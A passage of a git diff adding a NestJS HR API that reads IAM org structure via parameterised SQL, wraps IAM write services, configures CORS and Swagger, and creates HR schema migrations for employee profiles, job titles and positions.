); + } + + /** Fallback lookup after a hire, when IAM's response shape is unclear. */ + async findEmployeeByUsername(username: string): Promise { + const rows = await this.dataSource.query( + `${IamDirectoryService.EMPLOYEE_SELECT} + WHERE u.username = $1 + ORDER BY e.created_at DESC + LIMIT 1`, + [username], + ); + return rows[0] ?? null; + } + + async findUnit(unitId: string): Promise { + const rows = await this.dataSource.query( + `SELECT id, + name, + key, + parent_unit_id AS "parentUnitId", + organization_id AS "organizationId" + FROM iam.units + WHERE id = $1 AND deleted_at IS NULL + LIMIT 1`, + [unitId], + ); + return rows[0] ?? null; + } + + async requireUnit(unitId: string): Promise { + const unit = await this.findUnit(unitId); + if (!unit) throw new NotFoundException(`No IAM unit ${unitId}`); + return unit; + } + + async findUnits(unitIds: string[]): Promise> { + if (!unitIds.length) return new Map(); + const rows = await this.dataSource.query( + `SELECT id, + name, + key, + parent_unit_id AS "parentUnitId", + organization_id AS "organizationId" + FROM iam.units + WHERE id = ANY($1::uuid[]) AND deleted_at IS NULL`, + [unitIds], + ); + return new Map(rows.map((row) => [row.id, row])); + } + + /** + * The POSITION hierarchy — which is where this platform's org chart actually + * lives. + * + * Verified on the production replica: 0 of 35 units have a parent, while + * 1,019 of 1,043 positions do, nested 7 levels deep. A unit-first tree would + * render a flat list of 35 and hide the real structure entirely. + * + * Returned flat with a depth marker and nested by the caller; one recursive + * CTE beats a query per node for a 1,000-node tree. Holder counts and the HR + * headcount overlay come along so a node needs no follow-up request. + */ + async findPositionTree( + organizationId: string | null, + unitId?: string, + ): Promise { + const params: unknown[] = []; + const filters: string[] = ["p.deleted_at IS NULL"]; + if (organizationId) { + params.push(organizationId); + filters.push(`p.organization_id = $${params.length}`); + } + if (unitId) { + params.push(unitId); + filters.push(`p.unit_id = $${params.length}`); + } + const where = filters.join(" AND "); + + return this.dataSource.query( + `WITH RECURSIVE tree AS ( + SELECT p.id, p.name, p.key, p.rank, p.parent_position_id, p.unit_id, + 1 AS depth + FROM iam.positions p + WHERE ${where} + AND (p.parent_position_id IS NULL + OR NOT EXISTS (SELECT 1 FROM iam.positions par + WHERE par.id = p.parent_position_id + AND par.deleted_at IS NULL)) + UNION ALL + SELECT c.id, c.name, c.key, c.rank, c.parent_position_id, c.unit_id, + tree.depth + 1 + FROM iam.positions c + JOIN tree ON c.parent_position_id = tree.id + WHERE c.deleted_at IS NULL + AND tree.depth < 20 + ) + SELECT t.id, + t.name, + t.key, + t.rank, + t.parent_position_id AS "parentPositionId", + t.unit_id AS "unitId", + t.depth, + u.name AS "unitName", + (SELECT count(*)::int FROM iam.employee_positions ep + WHERE ep.position_id = t.id + AND ep.is_current = true + AND ep.is_delegate = false + AND ep.status = 'APPROVED') AS "holderCount", + jp.id AS "jobPositionId", + jp.budgeted_count AS "budgetedCount", + jp.is_open AS "isOpen" + FROM tree t + LEFT JOIN iam.units u ON u.id = t.unit_id + LEFT JOIN hr.job_positions jp + ON jp.position_id = t.id AND jp.deleted_at IS NULL + ORDER BY t.depth, t.rank, t.name->>'en'`, + params, + ); + } + + /** + * Who holds a position right now — substantive holders and delegates alike. + * + * Delegates are included but flagged. Delegation here is a RECORD MANAGEMENT + * arrangement — the holder has handed their record duties to a colleague for + * a period — not an HR assignment. So a delegate acts on the post's paperwork + * today while NOT filling it: excluded from headcount, and excluded from HR's + * line-manager resolution. Anything showing a post's people must distinguish + * the two rather than sum them. + */ + async findPositionHolders(positionId: string): Promise { + return this.dataSource.query( + `SELECT ep.id AS "employeePositionId", + ep.employee_id AS "employeeId", + e.name AS "name", + u.username, + ep.is_delegate AS "isDelegate", + ep.status, + ep.start_date::text AS "startDate", + ep.end_date::text AS "endDate", + ep.delegator_id AS "delegatorId", + del.name AS "delegatorName", + (hp.id IS NOT NULL) AS "isOnboarded", + hp.id AS "profileId", + hp.employee_number AS "employeeNumber" + FROM iam.employee_positions ep + JOIN iam.employees e ON e.id = ep.employee_id + LEFT JOIN iam.users u ON u.id = e.user_id + LEFT JOIN iam.employee_positions dep ON dep.id = ep.delegator_id + LEFT JOIN iam.employees del ON del.id = dep.employee_id + LEFT JOIN hr.employee_profiles hp + ON hp.employee_id = e.id AND hp.deleted_at IS NULL + WHERE ep.position_id = $1 + AND ep.is_current = true + AND ep.status = 'APPROVED' + ORDER BY ep.is_delegate ASC, e.name->>'en' ASC`, + [positionId], + ); + } + + /** Immediate children of a unit. */ + async findChildUnits(unitId: string): Promise { + return this.dataSource.query( + `SELECT id, + name, + key, + parent_unit_id AS "parentUnitId", + organization_id AS "organizationId" + FROM iam.units + WHERE parent_unit_id = $1 AND deleted_at IS NULL + ORDER BY name->>'en'`, + [unitId], + ); + } + + /** + * Positions in a unit, with their current holder count and the HR headcount + * overlay. Drives the unit detail panel — one query rather than one per post. + */ + async findUnitPositions(unitId: string): Promise { + return this.dataSource.query( + `SELECT p.id, + p.name, + p.key, + p.rank, + p.parent_position_id AS "parentPositionId", + (SELECT count(*)::int FROM iam.employee_positions ep + WHERE ep.position_id = p.id + AND ep.is_current = true + AND ep.is_delegate = false + AND ep.status = 'APPROVED') AS "holderCount", + jp.id AS "jobPositionId", + jp.budgeted_count AS "budgetedCount", + jp.is_open AS "isOpen" + FROM iam.positions p + LEFT JOIN hr.job_positions jp + ON jp.position_id = p.id AND jp.deleted_at IS NULL + WHERE p.unit_id = $1 AND p.deleted_at IS NULL + ORDER BY p.rank ASC, p.name->>'en' ASC`, + [unitId], + ); + } + + async findPosition(positionId: string): Promise { + const rows = await this.dataSource.query( + `SELECT id, + name, + key, + rank, + parent_position_id AS "parentPositionId", + unit_id AS "unitId", + organization_id AS "organizationId" + FROM iam.positions + WHERE id = $1 AND deleted_at IS NULL + LIMIT 1`, + [positionId], + ); + return rows[0] ?? null; + } + + async requirePosition(positionId: string): Promise { + const position = await this.findPosition(positionId); + if (!position) throw new NotFoundException(`No IAM position ${positionId}`); + return position; + } + + /** + * The employee's line manager, derived from the IAM position hierarchy: + * the employee's current position → its `parent_position_id` → whoever + * currently holds that parent position. + * + * This is the default approver for leave (3.2) and the default reviewer for + * appraisals (3.6). `hr.employee_profiles.manager_employee_id` overrides it + * when set, which is why this returns null rather than throwing — a unit head + * legitimately has no parent position. + * + * Delegated positions are excluded, and the reason is sharper than it looks: + * delegation on this platform belongs to the RECORD MANAGEMENT SYSTEM — a + * holder hands their record duties to a colleague for a period. It says + * nothing about the HR reporting line. Treating an RMS delegate as somebody's + * line manager would route leave approvals to a person who was only ever + * asked to handle paperwork. + * + * A parent position can have MANY current holders — verified against the live + * database, where "Ticket Officer" has 20 and "Passenger Director" 9. "The" + * line manager is therefore ambiguous, and an unordered LIMIT 1 would return a + * different person between two calls. The tiebreak below makes the answer + * deterministic by picking the longest-serving holder (earliest start date, + * then earliest row, then lowest id). Where that is not the right approver, + * `hr.employee_profiles.manager_employee_id` is the override — this is the + * case it exists for. + */ + async findLineManagerEmployeeId(employeeId: string): Promise { + const rows = await this.dataSource.query<{ managerEmployeeId: string }[]>( + `SELECT parent_holder.employee_id AS "managerEmployeeId" + FROM iam.employee_positions ep + JOIN iam.positions p + ON p.id = ep.position_id + AND p.deleted_at IS NULL + JOIN iam.employee_positions parent_holder + ON parent_holder.position_id = p.parent_position_id + AND parent_holder.is_current = true + AND parent_holder.is_delegate = false + AND parent_holder.status = 'APPROVED' + WHERE ep.employee_id = $1 + AND ep.is_current = true + AND ep.is_delegate = false + AND ep.status = 'APPROVED' + AND parent_holder.employee_id <> $1 + ORDER BY p.rank ASC, + parent_holder.start_date ASC NULLS LAST, + parent_holder.created_at ASC, + parent_holder.employee_id ASC + LIMIT 1`, + [employeeId], + ); + return rows[0]?.managerEmployeeId ?? null; + } + + /** + * How many current, non-delegate holders a position has. Feeds + * `hr.job_positions.current_count`, which is a cache of this number — IAM + * remains the source of truth for who holds what. + */ + async countCurrentPositionHolders(positionId: string): Promise { + const rows = await this.dataSource.query<{ count: string }[]>( + `SELECT COUNT(*)::text AS count + FROM iam.employee_positions + WHERE position_id = $1 + AND is_current = true + AND is_delegate = false + AND status = 'APPROVED'`, + [positionId], + ); + return parseInt(rows[0]?.count ?? "0", 10); + } + + /** Every unit id at or beneath `unitId`, for department-scoped listings. */ + async findUnitSubtreeIds(unitId: string): Promise { + const rows = await this.dataSource.query<{ id: string }[]>( + `WITH RECURSIVE subtree AS ( + SELECT id FROM iam.units WHERE id = $1 AND deleted_at IS NULL + UNION ALL + SELECT u.id + FROM iam.units u + JOIN subtree s ON u.parent_unit_id = s.id + WHERE u.deleted_at IS NULL + ) + SELECT id FROM subtree`, + [unitId], + ); + return rows.map((row) => row.id); + } +} diff --git a/apps/edr-hr-api/src/iam-directory/iam-operations.service.ts b/apps/edr-hr-api/src/iam-directory/iam-operations.service.ts new file mode 100644 index 000000000..9bc627849 --- /dev/null +++ b/apps/edr-hr-api/src/iam-directory/iam-operations.service.ts @@ -0,0 +1,168 @@ +import { Injectable, OnModuleInit } from "@nestjs/common"; +import { ModuleRef } from "@nestjs/core"; +import type { TCurrentUser } from "@tria-plc/api-common/modules/auth/types/current-user.type"; +import type { TCurrentUser as IamCurrentUser } from "@tria-plc/iamapi-common/types/current-user.type"; +import { PositionService } from "@tria-plc/iamapi-common/module/organization-structure/services/position.service"; +import { UnitService } from "@tria-plc/iamapi-common/module/organization-structure/services/unit.service"; +import { EmployeePositionService } from "@tria-plc/iamapi-common/module/organization-structure/services/employee-position.service"; +import { EmployeeService } from "@tria-plc/iamapi-common/module/organization-structure/services/employee.service"; + +/** + * The WRITE counterpart to IamDirectoryService. + * + * Every change HR makes to IAM data goes through IAM's own services, so IAM's + * validation, hooks, notifications and audit all run. HR never INSERTs into + * `iam.*` itself — doing so would fork the behaviour one silent row at a time. + * + * Resolved with `ModuleRef({ strict: false })` rather than constructor + * injection, because `OrganizationStructureModule` exports only + * `OrganizationService`; the rest are providers in the app graph but not + * exported, so they are unreachable by ordinary injection. Verified working + * against the package at 1.3.4. + * + * If a future version exports them, this whole indirection collapses into + * normal constructor injection and nothing else changes. + * + * VERSION SKEW, contained here on purpose: `iamapi-common@1.3.4` ships its own + * `TCurrentUser` whose `employee.position` carries two fields (`applications`, + * `positionTypes`) that `api-common@1.6.0`'s type does not. 1.6.0 is the newest + * api-common artifact that exists — its source repo is still on 1.4.3 — so the + * gap cannot be closed by upgrading. The value is the same object at runtime; + * only the declarations disagree. `asIamUser` marks every crossing so the day + * api-common catches up, the casts are trivial to find and delete. + */ +const asIamUser = (user: TCurrentUser): IamCurrentUser => + user as unknown as IamCurrentUser; + +@Injectable() +export class IamOperationsService implements OnModuleInit { + private units!: UnitService; + private positions!: PositionService; + private employeePositions!: EmployeePositionService; + private employees!: EmployeeService; + + constructor(private readonly moduleRef: ModuleRef) {} + + onModuleInit(): void { + // Resolved once at boot, not per call: a missing provider should fail the + // app at startup, not the first time an HR officer clicks "create unit". + this.units = this.moduleRef.get(UnitService, { strict: false }); + this.positions = this.moduleRef.get(PositionService, { strict: false }); + this.employeePositions = this.moduleRef.get(EmployeePositionService, { + strict: false, + }); + this.employees = this.moduleRef.get(EmployeeService, { strict: false }); + } + + // ── Units ──────────────────────────────────────────────────────────────── + + async createUnit( + payload: { + name: { am: string; en: string }; + key: string; + organizationId?: string; + parentUnitId?: string; + }, + user: TCurrentUser, + ) { + return this.units.create(payload as never, asIamUser(user)); + } + + /** + * Re-parent a unit. IAM moves the whole subtree with it — the callers's UI + * must say so before running this. + */ + async moveUnit(unitId: string, newParentUnitId: string): Promise { + await this.units.relateUnitToUnit({ unitId, newParentUnitId } as never); + } + + // ── Positions ──────────────────────────────────────────────────────────── + + async createPosition( + payload: { + name: { am: string; en: string }; + key: string; + unitId: string; + organizationId?: string; + parentPositionId?: string; + rank: number; + positionTypeId?: string; + }, + user: TCurrentUser, + ) { + return this.positions.create(payload as never, asIamUser(user)); + } + + /** `null` promotes the position to a root of its unit's chart. */ + async changePositionParent( + positionId: string, + newParentId: string | null, + ): Promise { + await this.positions.changeParentPosition(positionId, newParentId); + } + + async softDeletePosition(positionId: string, user: TCurrentUser) { + return this.positions.softDelete(positionId, asIamUser(user)); + } + + // ── Assignment ─────────────────────────────────────────────────────────── + + async assignEmployeeToPosition(positionId: string, employeeId: string) { + return this.employeePositions.assignNewEmployee({ + positionId, + employeeId, + } as never); + } + + async removeEmployeeFromPosition(positionId: string, employeeId: string) { + return this.employeePositions.removeAssignedEmployee({ + positionId, + employeeId, + } as never); + } + + /** + * Create an IAM user + employee + position assignment in one call. This is + * IAM's own hire path — HR adds only its profile on top. + */ + async inviteEmployeeToPosition( + payload: { + positionId: string; + username: string; + phoneNumber: string; + email: string; + name: { am: string; en: string }; + }, + user: TCurrentUser, + ) { + return this.employeePositions.inviteNewEmployee(payload as never, asIamUser(user)); + } + + async delegateToPosition( + payload: { + positionId: string; + unitId: string; + employeeId?: string; + startDate?: Date; + endDate?: Date; + }, + user: TCurrentUser, + ) { + return this.employeePositions.delegateEmployeeToPosition( + payload as never, + asIamUser(user), + ); + } + + // ── Employee lifecycle (IAM's, distinct from HR's employment state) ────── + + // IAM's activate/deactivate take the employee id alone — they read the actor + // from the request context themselves, so no user argument is passed here. + async activateEmployee(employeeId: string) { + return this.employees.activateEmployee(employeeId); + } + + async deactivateEmployee(employeeId: string) { + return this.employees.deactivateEmployee(employeeId); + } +} diff --git a/apps/edr-hr-api/src/main.ts b/apps/edr-hr-api/src/main.ts new file mode 100644 index 000000000..590757a26 --- /dev/null +++ b/apps/edr-hr-api/src/main.ts @@ -0,0 +1,69 @@ +import "reflect-metadata"; +import "dotenv/config"; +import { NestFactory } from "@nestjs/core"; +import { ValidationPipe } from "@nestjs/common"; +import { DocumentBuilder, SwaggerModule } from "@nestjs/swagger"; + +import { AppModule } from "./app.module"; + +async function bootstrap() { + const app = await NestFactory.create(AppModule); + + app.setGlobalPrefix("api/v1"); + + // The HR frontend is a separate origin (its own Vite dev server, its own host + // in production), so every call from it is cross-origin and dies at the + // preflight without this. `credentials: true` is required because the client + // sends the session cookie alongside the bearer token. + // + // Origins come from one comma-separated env var, matching how edr-passenger-api + // does it; the fallback is the HR web dev port. + const corsOrigins = (process.env.CORS_ORIGINS ?? "http://localhost:5185") + .split(",") + .map((origin) => origin.trim()) + .filter((origin) => origin.length > 0); + + app.enableCors({ + origin: corsOrigins, + methods: ["GET", "POST", "PUT", "PATCH", "DELETE", "OPTIONS"], + allowedHeaders: [ + "Content-Type", + "Authorization", + "Accept-Language", + "X-Client-App", + "X-Request-ID", + ], + credentials: true, + }); + app.useGlobalPipes( + new ValidationPipe({ + whitelist: true, + transform: true, + forbidUnknownValues: false, + }), + ); + + const config = new DocumentBuilder() + .setTitle("EDR HR API") + .setDescription( + "Human Resources — the HR extension of IAM. Employee profiles hang off " + + "iam.employees; departments are iam.units with an HR satellite; job " + + "positions extend iam.positions. HR never duplicates IAM: no auth, no " + + "users, no org hierarchy of its own — it imports IamModule and calls " + + "IAM's own services for the writes it needs (org changes, hiring, " + + "account activation), reading through raw SQL projections.", + ) + .setVersion("1.0.0") + .addBearerAuth() + .build(); + SwaggerModule.setup("api-docs", app, SwaggerModule.createDocument(app, config), { + customSiteTitle: "EDR HR API", + swaggerOptions: { persistAuthorization: true }, + }); + + const port = process.env.PORT ?? 3005; + await app.listen(port); + console.log(`🚀 EDR HR API running on port ${port}`); + console.log(`📚 Swagger: http://localhost:${port}/api-docs`); +} +bootstrap(); diff --git a/apps/edr-hr-api/src/migrations/3600000000000-HrBaseline.ts b/apps/edr-hr-api/src/migrations/3600000000000-HrBaseline.ts new file mode 100644 index 000000000..50d4a68b5 --- /dev/null +++ b/apps/edr-hr-api/src/migrations/3600000000000-HrBaseline.ts @@ -0,0 +1,252 @@ +import { MigrationInterface, QueryRunner } from "typeorm"; + +/** + * HR baseline — Module 3.1 (Employee Management). + * + * Creates the four tables the HR extension of IAM needs plus the employee + * document index. All DDL is idempotent (`IF NOT EXISTS`), per the house rule, + * so a partially-applied run can be repeated safely. + * + * Deliberate omissions: + * - No foreign keys into `iam.*`. Cross-schema references are soft UUIDs with + * denormalized display data — the platform's existing stance (there are zero + * FKs from `freight.*` into `iam.*`). Validation happens in the service layer + * via IamDirectoryService. + * - No `hr.departments` table. The department hierarchy is `iam.units`; + * `hr.unit_hr_profiles` only adds the HR/Finance attributes on top of it. + * + * Timestamp 3600000000000 continues the freight convention of a 36xx.. prefix and + * is unique within this app's (currently empty) migration folder. + */ +export class HrBaseline3600000000000 implements MigrationInterface { + name = "HrBaseline3600000000000"; + + public async up(queryRunner: QueryRunner): Promise { + await queryRunner.query(`CREATE SCHEMA IF NOT EXISTS "hr"`); + await queryRunner.query(`CREATE EXTENSION IF NOT EXISTS "pgcrypto"`); + + // ── job_titles ──────────────────────────────────────────────────────── + await queryRunner.query(` + CREATE TABLE IF NOT EXISTS "hr"."job_titles" ( + "id" uuid PRIMARY KEY DEFAULT gen_random_uuid(), + "organization_id" uuid NOT NULL, + "name" jsonb NOT NULL, + "code" varchar(32) NOT NULL, + "grade_level" integer NOT NULL DEFAULT 1, + "salary_band_min" numeric(14,2), + "salary_band_max" numeric(14,2), + "description" jsonb, + "is_active" boolean NOT NULL DEFAULT true, + "created_by" uuid, + "created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP, + "updated_at" timestamptz, + "deleted_at" timestamptz, + CONSTRAINT "ck_job_titles_salary_band" + CHECK ("salary_band_min" IS NULL OR "salary_band_max" IS NULL + OR "salary_band_max" >= "salary_band_min") + ) + `); + await queryRunner.query(` + CREATE UNIQUE INDEX IF NOT EXISTS "uq_job_titles_org_code" + ON "hr"."job_titles" ("organization_id", "code") + `); + await queryRunner.query(` + CREATE INDEX IF NOT EXISTS "idx_job_titles_organization_id" + ON "hr"."job_titles" ("organization_id") + `); + + // ── unit_hr_profiles ────────────────────────────────────────────────── + await queryRunner.query(` + CREATE TABLE IF NOT EXISTS "hr"."unit_hr_profiles" ( + "id" uuid PRIMARY KEY DEFAULT gen_random_uuid(), + "unit_id" uuid NOT NULL, + "organization_id" uuid NOT NULL, + "cost_centre_code" varchar(32), + "headcount_budget" integer NOT NULL DEFAULT 0, + "head_employee_id" uuid, + "finance_expense_account_id" uuid, + "is_hr_active" boolean NOT NULL DEFAULT true, + "created_by" uuid, + "created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP, + "updated_at" timestamptz, + "deleted_at" timestamptz, + CONSTRAINT "ck_unit_hr_profiles_headcount_budget" + CHECK ("headcount_budget" >= 0) + ) + `); + await queryRunner.query(` + CREATE UNIQUE INDEX IF NOT EXISTS "uq_unit_hr_profiles_unit_id" + ON "hr"."unit_hr_profiles" ("unit_id") + `); + await queryRunner.query(` + CREATE INDEX IF NOT EXISTS "idx_unit_hr_profiles_organization_id" + ON "hr"."unit_hr_profiles" ("organization_id") + `); + + // ── job_positions ───────────────────────────────────────────────────── + await queryRunner.query(` + CREATE TABLE IF NOT EXISTS "hr"."job_positions" ( + "id" uuid PRIMARY KEY DEFAULT gen_random_uuid(), + "organization_id" uuid NOT NULL, + "position_id" uuid NOT NULL, + "job_title_id" uuid, + "unit_id" uuid, + "budgeted_count" integer NOT NULL DEFAULT 1, + "current_count" integer NOT NULL DEFAULT 0, + "is_open" boolean NOT NULL DEFAULT false, + "created_by" uuid, + "created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP, + "updated_at" timestamptz, + "deleted_at" timestamptz, + CONSTRAINT "ck_job_positions_budgeted_count" CHECK ("budgeted_count" >= 0), + CONSTRAINT "ck_job_positions_current_count" CHECK ("current_count" >= 0), + CONSTRAINT "fk_job_positions_job_title" + FOREIGN KEY ("job_title_id") REFERENCES "hr"."job_titles"("id") + ON DELETE SET NULL + ) + `); + await queryRunner.query(` + CREATE UNIQUE INDEX IF NOT EXISTS "uq_job_positions_position_id" + ON "hr"."job_positions" ("position_id") + `); + await queryRunner.query(` + CREATE INDEX IF NOT EXISTS "idx_job_positions_organization_id" + ON "hr"."job_positions" ("organization_id") + `); + + // ── employee_profiles ───────────────────────────────────────────────── + await queryRunner.query(` + CREATE TABLE IF NOT EXISTS "hr"."employee_profiles" ( + "id" uuid PRIMARY KEY DEFAULT gen_random_uuid(), + "employee_id" uuid NOT NULL, + "organization_id" uuid NOT NULL, + "employee_number" varchar(64) NOT NULL, + + "date_of_birth" date, + "amharic_date_of_birth" varchar(32), + "gender" varchar(16), + "nationality" varchar(64) DEFAULT 'Ethiopian', + "national_id" varchar(64), + "tin_number" varchar(32), + "marital_status" varchar(16), + "children_count" integer NOT NULL DEFAULT 0, + "work_phone" varchar(32), + "work_email" varchar(128), + "personal_address" jsonb, + "emergency_contact_name" jsonb, + "emergency_contact_phone" varchar(32), + "emergency_contact_relation" varchar(64), + + "job_title_id" uuid, + "work_location_id" uuid, + "employment_type" varchar(16) NOT NULL DEFAULT 'PERMANENT', + "hire_date" date NOT NULL, + "amharic_hire_date" varchar(32), + "contract_end_date" date, + "probation_end_date" date, + "employment_state" varchar(16) NOT NULL DEFAULT 'PROBATION', + "termination_date" date, + "termination_reason" varchar(128), + "manager_employee_id" uuid, + + "salary_mode" varchar(16) NOT NULL DEFAULT 'BANK', + "bank_name" varchar(128), + "bank_account_number" varchar(64), + "bank_account_name" varchar(128), + "is_pension_eligible" boolean NOT NULL DEFAULT true, + + "profile_photo_document_id" uuid, + "created_by" uuid, + "updated_by" uuid, + "created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP, + "updated_at" timestamptz, + "deleted_at" timestamptz, + + CONSTRAINT "ck_employee_profiles_children_count" CHECK ("children_count" >= 0), + CONSTRAINT "ck_employee_profiles_probation_after_hire" + CHECK ("probation_end_date" IS NULL OR "probation_end_date" >= "hire_date"), + CONSTRAINT "ck_employee_profiles_contract_after_hire" + CHECK ("contract_end_date" IS NULL OR "contract_end_date" >= "hire_date"), + CONSTRAINT "ck_employee_profiles_termination_after_hire" + CHECK ("termination_date" IS NULL OR "termination_date" >= "hire_date"), + CONSTRAINT "ck_employee_profiles_not_own_manager" + CHECK ("manager_employee_id" IS NULL OR "manager_employee_id" <> "employee_id"), + CONSTRAINT "fk_employee_profiles_job_title" + FOREIGN KEY ("job_title_id") REFERENCES "hr"."job_titles"("id") + ON DELETE SET NULL + ) + `); + // Unique on employee_id, ignoring soft-deleted rows, so a profile can be + // re-created after one is removed without dropping the guarantee that a live + // employee has at most one. + await queryRunner.query(` + CREATE UNIQUE INDEX IF NOT EXISTS "uq_employee_profiles_employee_id" + ON "hr"."employee_profiles" ("employee_id") + WHERE "deleted_at" IS NULL + `); + // Employee numbers are NOT filtered on deleted_at: a number must never be + // reissued, or an archived payslip would point at two different people. + await queryRunner.query(` + CREATE UNIQUE INDEX IF NOT EXISTS "uq_employee_profiles_org_employee_number" + ON "hr"."employee_profiles" ("organization_id", "employee_number") + `); + await queryRunner.query(` + CREATE INDEX IF NOT EXISTS "idx_employee_profiles_organization_id" + ON "hr"."employee_profiles" ("organization_id") + `); + await queryRunner.query(` + CREATE INDEX IF NOT EXISTS "idx_employee_profiles_org_state" + ON "hr"."employee_profiles" ("organization_id", "employment_state") + `); + await queryRunner.query(` + CREATE INDEX IF NOT EXISTS "idx_employee_profiles_manager" + ON "hr"."employee_profiles" ("manager_employee_id") + WHERE "manager_employee_id" IS NOT NULL + `); + + // ── employee_documents ──────────────────────────────────────────────── + await queryRunner.query(` + CREATE TABLE IF NOT EXISTS "hr"."employee_documents" ( + "id" uuid PRIMARY KEY DEFAULT gen_random_uuid(), + "employee_profile_id" uuid NOT NULL, + "organization_id" uuid NOT NULL, + "document_type" varchar(32) NOT NULL, + "document_id" uuid NOT NULL, + "document_number" varchar(128), + "issue_date" date, + "expiry_date" date, + "issuing_authority" varchar(128), + "notes" jsonb, + "created_by" uuid, + "created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP, + "updated_at" timestamptz, + "deleted_at" timestamptz, + CONSTRAINT "ck_employee_documents_expiry_after_issue" + CHECK ("issue_date" IS NULL OR "expiry_date" IS NULL + OR "expiry_date" >= "issue_date"), + CONSTRAINT "fk_employee_documents_profile" + FOREIGN KEY ("employee_profile_id") + REFERENCES "hr"."employee_profiles"("id") ON DELETE CASCADE + ) + `); + await queryRunner.query(` + CREATE INDEX IF NOT EXISTS "idx_employee_documents_profile" + ON "hr"."employee_documents" ("employee_profile_id") + `); + await queryRunner.query(` + CREATE INDEX IF NOT EXISTS "idx_employee_documents_expiry" + ON "hr"."employee_documents" ("organization_id", "expiry_date") + WHERE "expiry_date" IS NOT NULL + `); + } + + public async down(queryRunner: QueryRunner): Promise { + // Reverse dependency order. The schema itself is left in place — dropping it + // would take any later HR migration's tables with it. + await queryRunner.query(`DROP TABLE IF EXISTS "hr"."employee_documents"`); + await queryRunner.query(`DROP TABLE IF EXISTS "hr"."employee_profiles"`); + await queryRunner.query(`DROP TABLE IF EXISTS "hr"."job_positions"`); + await queryRunner.query(`DROP TABLE IF EXISTS "hr"."unit_hr_profiles"`); + await queryRunner.query(`DROP TABLE IF EXISTS "hr"."job_titles"`); + } +} diff --git a/apps/edr-hr-api/src/migrations/3600000000001-HrDropDenormalizedOrganization.ts b/apps/edr-hr-api/src/migrations/3600000000001-HrDropDenormalizedOrganization.ts new file mode 100644 index 000000000..9f33544a5 --- /dev/null +++ b/apps/edr-hr-api/src/migrations/3600000000001-HrDropDenormalizedOrganization.ts @@ -0,0 +1,106 @@ +import { MigrationInterface, QueryRunner } from "typeorm"; + +/** + * Removes the denormalized `organization_id` from the two employee-scoped HR + * tables. + * + * An employee's organization is IAM's fact. Copying it into `hr` created a + * second answer to "which tenant is this person in", which can go stale the + * moment IAM moves someone. Scoping now joins `iam.employees` instead — cheap, + * because the platform is one database and the join is on a primary key. + * + * Consequence, deliberately accepted: employee numbers become GLOBALLY unique + * rather than unique per organization. Per-org uniqueness needs the column back + * (Postgres cannot enforce uniqueness across a join), and a global number also + * removes a genuine confusion — with per-org numbering a cross-organization + * list shows two different people both labelled EMP-00001. + */ +export class HrDropDenormalizedOrganization3600000000001 + implements MigrationInterface +{ + name = "HrDropDenormalizedOrganization3600000000001"; + + public async up(queryRunner: QueryRunner): Promise { + // Guard against a collision before adding the global constraint: if two + // organizations already issued the same number, fail loudly here rather + // than half-apply. + const clashes = await queryRunner.query( + `SELECT employee_number, count(*) AS n + FROM "hr"."employee_profiles" + GROUP BY employee_number HAVING count(*) > 1`, + ); + if (clashes.length) { + throw new Error( + `Cannot make employee_number globally unique: ${clashes.length} duplicate(s) ` + + `across organizations — ${clashes + .map((c: { employee_number: string }) => c.employee_number) + .join(", ")}. Renumber them first.`, + ); + } + + await queryRunner.query( + `DROP INDEX IF EXISTS "hr"."uq_employee_profiles_org_employee_number"`, + ); + await queryRunner.query( + `DROP INDEX IF EXISTS "hr"."idx_employee_profiles_organization_id"`, + ); + await queryRunner.query( + `DROP INDEX IF EXISTS "hr"."idx_employee_profiles_org_state"`, + ); + await queryRunner.query( + `DROP INDEX IF EXISTS "hr"."idx_employee_documents_expiry"`, + ); + + await queryRunner.query( + `CREATE UNIQUE INDEX IF NOT EXISTS "uq_employee_profiles_employee_number" + ON "hr"."employee_profiles" ("employee_number")`, + ); + await queryRunner.query( + `CREATE INDEX IF NOT EXISTS "idx_employee_profiles_state" + ON "hr"."employee_profiles" ("employment_state")`, + ); + await queryRunner.query( + `CREATE INDEX IF NOT EXISTS "idx_employee_documents_expiry" + ON "hr"."employee_documents" ("expiry_date") + WHERE "expiry_date" IS NOT NULL`, + ); + + await queryRunner.query( + `ALTER TABLE "hr"."employee_profiles" DROP COLUMN IF EXISTS "organization_id"`, + ); + await queryRunner.query( + `ALTER TABLE "hr"."employee_documents" DROP COLUMN IF EXISTS "organization_id"`, + ); + } + + public async down(queryRunner: QueryRunner): Promise { + // Restores the columns and backfills them from IAM, so a revert lands on + // correct values rather than nulls. + await queryRunner.query( + `ALTER TABLE "hr"."employee_profiles" ADD COLUMN IF NOT EXISTS "organization_id" uuid`, + ); + await queryRunner.query( + `UPDATE "hr"."employee_profiles" p + SET organization_id = e.organization_id + FROM "iam"."employees" e + WHERE e.id = p.employee_id`, + ); + await queryRunner.query( + `ALTER TABLE "hr"."employee_documents" ADD COLUMN IF NOT EXISTS "organization_id" uuid`, + ); + await queryRunner.query( + `UPDATE "hr"."employee_documents" d + SET organization_id = e.organization_id + FROM "hr"."employee_profiles" p + JOIN "iam"."employees" e ON e.id = p.employee_id + WHERE p.id = d.employee_profile_id`, + ); + await queryRunner.query( + `DROP INDEX IF EXISTS "hr"."uq_employee_profiles_employee_number"`, + ); + await queryRunner.query( + `CREATE UNIQUE INDEX IF NOT EXISTS "uq_employee_profiles_org_employee_number" + ON "hr"."employee_profiles" ("organization_id", "employee_number")`, + ); + } +} diff --git a/apps/edr-hr-api/src/migrations/3600000000002-HrEmployeeProvisionalFlag.ts b/apps/edr-hr-api/src/migrations/3600000000002-HrEmployeeProvisionalFlag.ts new file mode 100644 index 000000000..802632659 --- /dev/null +++ b/apps/edr-hr-api/src/migrations/3600000000002-HrEmployeeProvisionalFlag.ts @@ -0,0 +1,39 @@ +import { MigrationInterface, QueryRunner } from "typeorm"; + +/** + * Adds `hr.employee_profiles.is_provisional`. + * + * Set when a profile was created by auto-provisioning rather than by someone + * completing the form: its hire date is a proxy (the IAM record's creation date) + * and its employment type a default. Payroll and leave accrual both key off hire + * date, so a provisional row must be visibly distinguishable from a recorded + * one — otherwise a guessed date silently becomes a salary calculation. + */ +export class HrEmployeeProvisionalFlag3600000000002 + implements MigrationInterface +{ + name = "HrEmployeeProvisionalFlag3600000000002"; + + public async up(queryRunner: QueryRunner): Promise { + await queryRunner.query( + `ALTER TABLE 